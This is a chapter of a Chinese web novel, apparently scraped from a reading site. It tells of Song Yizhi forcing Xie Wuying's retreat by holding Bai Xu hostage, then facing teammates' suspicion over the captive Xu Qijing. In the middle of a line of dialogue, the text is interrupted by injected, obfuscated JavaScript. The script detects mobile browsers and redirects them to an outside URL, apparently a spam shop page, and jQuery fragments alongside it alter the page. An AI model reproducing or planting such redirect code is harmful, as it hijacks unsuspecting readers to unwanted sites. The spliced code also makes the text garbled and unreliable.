“等等!”


    宋亦枝停下手中的动作,“你想说什么?”


    谢无影还是服软了,他没办法看见白叙受伤。


    “你想要什么?”


    可算是问到点子上了,她等这一句很久了。


    宋亦枝把刀收了回去,但手中的力道不减,“第一件事。”


    她伸出手,黑色的石头在手心里极为耀眼,看到这东西的时候,白叙的心一颤。


    “眼熟吗?这是我从许其璟身上找到的。”


    谢无影:“许其璟......”


    “为了杀我们,你们真是煞费苦心。”宋亦枝冷冷地说:“竟然还把间谍安插在我们之间。”


    谢无影刚要说话,就被白叙打断了:


    “是又怎样?还不是被你发现了。”


    她没有理会身下人的冷嘲热讽,而是说道:“如果我猜得没错的话,这个石头就是导致异种不断围攻休息区的原因之一吧?”


    “像这样的东西,整个休息区也一定不止一个。”


    谢无影咬了咬牙——这女人猜的一点没错。


    “但我还是很好奇。”宋亦枝轻轻抛起石头,“既然人是你们安排,又为什么总是和许其璟起冲突。”


    “怎么?你们的内部沟通有问题?”


    看着宋亦枝一脸“不说实话她就完了”的表情,谢无影还是开口了:“他的身上有我们想要的东西,我们需要他。”


    “这不仅仅是关乎我和白叙的事,更关乎于整个【领域】。”


    “少跟他们废话,无影。”白叙挣扎着朝九念安看去,“要是许其璟那小子有你那个死掉的朋友一半的觉悟,哪里需要我们那么煞费苦心。”


    “别说了!白叙。”


    好在宋亦枝并没有理会这个小插曲,而是继续问:“整个【领域】?和杨岚有关系?”


    谢无影没有说话。


    宋亦枝:“派你们来的人是杨岚?”


    她明显感受到身下的人又开始挣扎了。


    “你们的发令者......是她吗?”


    白叙:“关你什么事......啊!”


    谢无影:“不是。”


    意料之外的干脆。


    听到这个答案,九念安忍不住笑出声:“你骗三岁小孩呢?谁不知道【领域】里权限最高的人就是杨岚?”


    谢无影眼睛都不眨,“我没有说谎,从前是,现在不是。”


    “那你告诉我,他是谁,现在在哪?”


    “......”


    白叙眼底发亮,对着谢无影直摇头。


    “......我不知道。”


    “......”


    “怎么办......”宋亦枝把玩着他的戒指,“你的回答一点没有半点诚意。”


    她的手缓缓划过女人的脸颊,“看来......她的命你是不想要了。”


    他的手握成拳头,看不清神情,“你,还想要我怎么做?”


    “这样吧。”宋亦枝说的爽快,“我可以把人还给你,但你要答应我一个条件。”


    “什么条件?”


    “带着你们那群异种滚回去,有多远滚多远。”


    这无疑是在告诉他,放弃这次任务。


    谢无影:“这不是我一个人能决定的。”


    “但你们定然是决定者之一。”宋亦枝看的通透,她明白,现在这种节骨点,异种的攻击少一分,异能者们就能多喘息一秒。


    “怎么样?选一个吧。”


    谢无影真的要怀疑人生了:“......你为什么会知道这么多东西?”


    “我知道的比你多得多。”宋亦枝抽出银刀,作势一滑,刀身上映照出白叙的脸,“少废话,最后给你一次机会。”


    “......”


    最终,谢无影带着重伤的白叙,和一众异种离开了十五号街区。


    “就这样让他们走了?”


    “嗯,没有更好的选择了。”宋亦枝边擦刀边说。


    九念安不甘心,“为什么不杀了他们,他们......”


    “真要和他们针锋相对,我们不一定是他们的对手。”宋亦枝想了想,又说道:“反正你肯定不是。”


    “......”九念安垂下眼帘,叹了口气。


    “但就这样把人放走......你怎么知道他们会不会卷土重来。”


    “放心。”宋亦枝伸出手,手心里赫然躺着一枚戒指,“他们没有选择的余地。”


    戒指在她的手上,就相当于把握了白叙的命脉,他们不敢轻举妄动。


    所以说千万不要随便把自己的命交到别人手上。


    “所以呢?”回去的路上,九念安还是没忍住:“你为什么会知道这么多东西。”


    黎风都没办法硬碰的人,宋亦枝却能死死拿捏。


    宋亦枝:“世界之大,无奇不有。”


    “......你变了,宋亦枝。”


    “是吗?”她抬头看天,“你也变了。”


    九念安停下了脚步,“长屿因为我而死。”


    宋亦枝也停下了脚步,“是上次下雨的时候......”


    “他死的时候,把异能传递给了我,所以......我必须改变。”


    宋亦枝的视线落在她的身上,没有言语。


    九念安:“我一定会让杀害他的人付出代价。”


    “其实,也不是毫无转机。”


    “什么?”


    “长屿。”


    “我曾经和许致远讨论过【领域】的安全性问题。”宋亦枝像是回忆似的说道:“他告诉我,每个人在进入【领域】后都会绑定一个安全系统。”


    “正是因为有安全系统的存在,所以在【领域】受的伤反映在现实中会大大减少,并且......反映伤害一直没有固定的标准。”


    九念安顿了顿,似乎明白了她的意思。


    宋亦枝:“所以,长屿大概率还活着,只要我们能成功从这里出去,一切都还有转机。”


    九念安:“但我们现在连自身都难保,又怎么谈出去。”


    “所以啊。”宋亦枝抬头望向苍茫的天空,“我们需要一个机会。”


    “......”


    公寓大厅里,伊星正在和笼子里的许其璟干瞪眼。


    许其璟:“......你已经在这盯着我看了三个小时了,不累?”


    伊星:“这是宋亦枝给我的任务,不累。”


    许其璟一笑,“你现在倒是听她的话。”


    伊星:“她救了我们,没有不听的道理,倒是你,为什么会被抓进来?”


    “不知道。”许其璟很自然地转移话题,“黎风那边怎么样?我看她回来的时候状态就不太好。”


    “喝了几瓶药剂,睡过去了。”说到这里,伊星低下了头,“她这次受了很重的伤,醒了......应该会很伤心。”


    许其璟早就习惯了他牛头不对马嘴的回答,“你挺关心她的。”


    伊星:“她是我队长。”


    许其璟:“莫名其妙被关进来,我也很伤心。”


    伊星:“别伤心,一会儿就上路了,现在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223103|188505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还有什么遗言吗?”


    许其璟低着头,不知道在想些什么,正当伊星以为他要这样一直沉默下去的时候,他开口了:


    “有。”


    “他说什么?”


    刚处理完烂摊子,回到公寓的宋亦枝得知这个消息忍不住皱了眉头。


    “他说他有东西要向你们坦白。”伊星又重复了一遍。


    “不去。”宋亦枝想都没想就拒绝了。


    这和伊星想的不一样,他本以为宋亦枝会是最积极的那个。


    “累了。”她轻飘飘地拿起毛巾盖在脸上,说着就要走。


    “宋小姐真有意思。”身后响起季舒远的声音,“明明一直控诉小许有问题的人是你,现在又是在玩哪一出?”


    宋亦枝停住,长长地凝视着季舒远,问道:“你这是什么意思?”


    “该问这句话的人是我们吧?”在他的身旁站着几位合作过的异能者,其中一个人说道:“你擅自禁锢成员,搞内部分裂,宋亦枝,这是一个队长该在这个节骨点做的事情吗?”


    宋亦枝脸不红心不跳,“我记得今早禁锢他的时候应该说过理由。”


    “人证物证都在,结果很明显,许其璟就是有问题。”她眯了眯眼,“就算这样,你们也要为他辩解?”


    季舒远:“这其中的蹊跷这么多,谁知道是真是假?”


    “与其无端猜测,为什么不让许其璟自己坦白?”


    宋亦枝沉默了一会儿,没有正面回答季舒远,而是转而问他身旁的沈焱:


    “你也是这样想的?”


    沈焱没有说话,算是默许了。


    “许其璟究竟做了什么,等他坦白不就什么都知道了?”季舒远朝她歪了歪头,“宋小姐现在的表现,反而更让人怀疑。”


    沈焱:“季舒远,够了。”


    “你怀疑我?”


    季舒远:“难道不像?”


    宋亦枝把毛巾挂回原处,甩了甩手上的水,“说说理由。”


    “从一开始,莫名指出队伍里有【叛徒】的人就是你,没有理由和证据,仅凭空穴来风的几句话,就给许其璟安插了罪名。”


    宋亦枝反驳:“谁说我是空穴来风?今天许其璟的所作所为难道不正应验了我说的话?”


    “你们所有人都看见了,那颗石头就是从他身上找出来的。这一点,没有人能否认。”


    “......”


    沈焱深吸了一口气,还是不愿相信,“但如果他真与那些人有关系,那许哥根本不需要......”


    “够了沈焱。”宋亦枝现在听不下去任何东西,“我理解你的心情,许其璟的事,我比你更难受。”


    “我也需要一些时间消化。”


    “消化?”季舒远觉得她简直不可理喻,“你自始至终都在引导,竟然也好意思给自己扣上这头衔?”


    “如果单凭这些就能证明他有罪,那么一直以来早出晚归,甚至挟持其他异能者的你,是不是更加可疑?”


    挟持?听到这个词,宋亦枝的表情瞬间变得阴翳。


    “你说什么?”


    “季舒远你说什么呢!?”


    “都别吵了。”混乱之中,伊星的声音从外面传来。


    “我把许其璟带过来了。”


    紧接着,一个熟悉的人影出现在他们眼前。


    见到许其璟的下一秒,宋亦枝迅速往前走,堵在伊星的前方。


    说是堵在伊星前方,但她的身体对向的却是另外几个人——宋亦枝是挡在自己身前。


    身后的许其璟发现了这个细节。